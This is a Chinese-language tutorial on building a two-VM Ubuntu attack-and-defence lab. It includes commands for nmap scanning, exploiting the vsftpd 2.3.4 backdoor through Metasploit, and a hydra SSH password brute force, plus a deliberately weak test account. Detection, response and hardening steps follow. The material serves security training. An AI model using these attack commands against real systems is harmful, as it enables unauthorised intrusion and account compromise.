一、前言:为什么要搭建攻防演练环境
网络安全是一门高度实践驱动的学科。只读文章、看视频而不动手,永远学不会真正的渗透测试与安全防护。搭建一套"攻击机 + 防守机"的本地实验环境,是每一位安全初学者和从业者性价比最高的入门方式。
本文以 Ubuntu 22.04 LTS 为核心,演示如何用两台虚拟机分别扮演攻击机(Red Team)与防守机/靶机(Blue Team),完成从信息收集、漏洞利用、暴力破解到日志检测、入侵响应、系统加固的完整攻防闭环。所有操作均在隔离的虚拟网络中进行,仅供学习研究,请勿对未授权目标使用。
二、实验环境规划
2.1 拓扑结构
实验使用 VMware Workstation 或 VirtualBox 创建两台虚拟机,加入同一个仅主机(Host-Only)或 NAT 网络,保证攻击机可以访问防守机,同时与外部互联网逻辑隔离。典型拓扑如下:
┌──────────────┐ Host-Only 网络 ┌──────────────┐
│ 攻击机 │ ─────────────────────────▶ │ 防守机 │
│ Ubuntu 22.04 │ 192.168.56.0/24 │ Ubuntu Server│
│ 192.168.56.10│ │ 192.168.56.20│
└──────────────┘ └──────────────┘
工具:nmap / msf / hydra 服务:SSH / Apache / vsftpd
防御:ufw / fail2ban / auditd
2.2 虚拟机资源配置
| 角色 | 系统 | IP 地址 | CPU / 内存 | 磁盘 |
|---|---|---|---|---|
| 攻击机 | Ubuntu 22.04 Desktop | 192.168.56.10 | 2 核 / 4 GB | 40 GB |
| 防守机 | Ubuntu 22.04 Server | 192.168.56.20 | 2 核 / 2 GB | 30 GB |
两台机器安装完成后务必拍摄快照(Snapshot),演练出错可以随时回滚,这是靶场实验最重要的习惯之一。
三、攻击机配置(Ubuntu + 渗透工具链)
3.1 基础环境安装
Ubuntu 默认不带渗透工具,需要手动安装。执行以下命令完成攻击机的基本武装:
bash
sudo apt update && sudo apt upgrade -y
sudo apt install -y nmap netcat-openbsd hydra nikto sqlmap \
metasploit-framework enum4linux gobuster wireshark
sudo systemctl enable postgresql --now # Metasploit 数据库
sudo msfdb init # 初始化 msf 数据库
如果不想自己折腾,也可以直接使用 Kali Linux 作为攻击机;但手动在 Ubuntu 上搭建工具链能帮助你理解每个工具的依赖与原理,这正是本文选择 Ubuntu 的原因。
3.2 常用渗透工具一览
| 工具 | 阶段 | 用途 |
|---|---|---|
| nmap | 信息收集 | 主机发现、端口扫描、服务与版本识别 |
| gobuster / nikto | Web 探测 | 目录爆破、Web 漏洞扫描 |
| metasploit | 漏洞利用 | 模块化漏洞利用与后渗透框架 |
| hydra | 口令攻击 | SSH/FTP/HTTP 等协议暴力破解 |
| sqlmap | Web 利用 | 自动化 SQL 注入检测与利用 |
| wireshark / tcpdump | 流量分析 | 抓包分析攻击与防守全过程 |
四、防守机配置(Ubuntu Server 靶机)
4.1 靶场服务部署
防守机本质上是一台"故意暴露服务"的 Ubuntu Server。先部署常见的服务作为攻击面:
bash
sudo apt install -y openssh-server apache2 vsftpd
sudo systemctl enable --now ssh apache2 vsftpd
# 创建一个弱口令测试账号(仅实验用途!)
sudo useradd -m testuser && echo "testuser:123456" | sudo chpasswd
如果想练习真实漏洞,可以额外部署 Metasploitable2、DVWA、OWASP Juice Shop 等经典靶场,它们内置了大量已知漏洞,非常适合配合 Metasploit 演练。
4.2 监控与防御组件
防守侧的核心是"看得见"------让每一次攻击都在日志和告警中留下痕迹。安装以下组件:
bash
sudo apt install -y ufw fail2ban auditd rkhunter tcpdump
sudo ufw allow 22/tcp && sudo ufw allow 80/tcp
sudo ufw enable # 启用防火墙
sudo systemctl enable --now fail2ban # 登录失败自动封禁
sudo auditctl -w /etc/passwd -p wa -k passwd-change # 审计关键文件
fail2ban 默认监控 /var/log/auth.log,当同一 IP 多次 SSH 登录失败时会自动调用 iptables 封禁该 IP,是防守机对抗暴力破解的第一道自动防线。
五、实战攻防演练全流程
5.1 信息收集
在攻击机上对防守机进行全端口扫描,识别开放的服务与版本:
bash
nmap -sV -sC -p- 192.168.56.20 -oN scan_result.txt
扫描结果显示防守机开放 22(OpenSSH)、21(vsftpd)、80(Apache)端口。-sV 探测服务版本,-sC 调用默认脚本进一步枚举信息。信息收集阶段拿到的版本号,将直接决定后续漏洞利用的方向。
5.2 漏洞探测与利用
假设扫描发现 vsftpd 2.3.4------这是一个经典的笑脸后门版本。在攻击机上使用 Metasploit 利用:
bash
msfconsole
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.56.20
msf6 > run # 成功则直接获得 root shell
如果是 Web 服务,可以先用 nikto 扫描常见漏洞,再用 sqlmap 验证注入点。渗透的核心思路始终是:版本对应漏洞,漏洞对应模块,模块对应 payload。
5.3 口令暴力破解
没有可利用的版本漏洞时,弱口令往往是最短的突破口。用 hydra 对 SSH 进行爆破:
bash
hydra -l testuser -P /usr/share/wordlists/rockyou.txt \
ssh://192.168.56.20 -t 4 -V
# 输出:[22][ssh] host: 192.168.56.20 login: testuser password: 123456
5.4 防守侧检测与响应
切换到防守机视角,复盘这次攻击在防守侧留下的全部痕迹:
bash
# 1. 查看 SSH 登录失败与成功记录
grep sshd /var/log/auth.log | tail -50
# 2. 查看 fail2ban 封禁记录(hydra 爆破会触发封禁)
sudo fail2ban-client status sshd
# 3. 查看关键文件是否被篡改
sudo ausearch -k passwd-change
# 4. 实时抓取攻击流量进行分析
sudo tcpdump -i eth0 host 192.168.56.10 -w attack.pcap
通过日志可以清晰看到:大量来自 192.168.56.10 的 SSH 认证失败记录(对应 hydra 爆破)、vsftpd 的异常会话、以及随后 testuser 的成功登录。防守方据此封禁攻击 IP、禁用弱口令账号、修补漏洞版本,完成一次"检测---响应---加固"的闭环。
六、防守加固清单
演练结束后,按照以下清单对防守机进行系统性加固:
- 口令与认证------禁用弱口令,启用 SSH 密钥登录并关闭密码认证(PasswordAuthentication no);修改默认端口。
- 最小化攻击面------关闭不必要的服务与端口,ufw 默认拒绝入站,仅放行必需端口。
- 及时修补------定期 apt upgrade,订阅 Ubuntu Security Notice,及时修复 vsftpd 这类高危版本漏洞。
- 入侵检测------fail2ban 自动封禁 + auditd 审计关键文件 + rkhunter 定期扫描 rootkit。
- 日志集中------将 auth.log、Apache 日志通过 rsyslog 转发到集中日志服务器,防止攻击者清除本地痕迹。
- 备份与快照------重要数据定期备份,虚拟机保留干净快照,被攻破后可快速恢复。
七、总结
本文用两台 Ubuntu 虚拟机搭建了一个最小可用的攻防演练环境:攻击机负责信息收集、漏洞利用与口令破解,防守机负责服务暴露、日志监控、入侵检测与加固响应。红蓝双方在同一张网段里对抗,每一次攻击都能在日志中找到对应的痕迹,这正是理解"攻防一体"最好的方式。
后续进阶方向:在内网拓扑中加入第三台机器练习横向移动;引入 WAF 与 IDS(如 Snort、Suricata)提升检测能力;把攻击流量做成 pcap 数据集练习流量分析。安全没有终点,唯有持续演练。
攻防一体 · 知行合一
本文所有实验仅限授权环境,请遵守《网络安全法》相关规定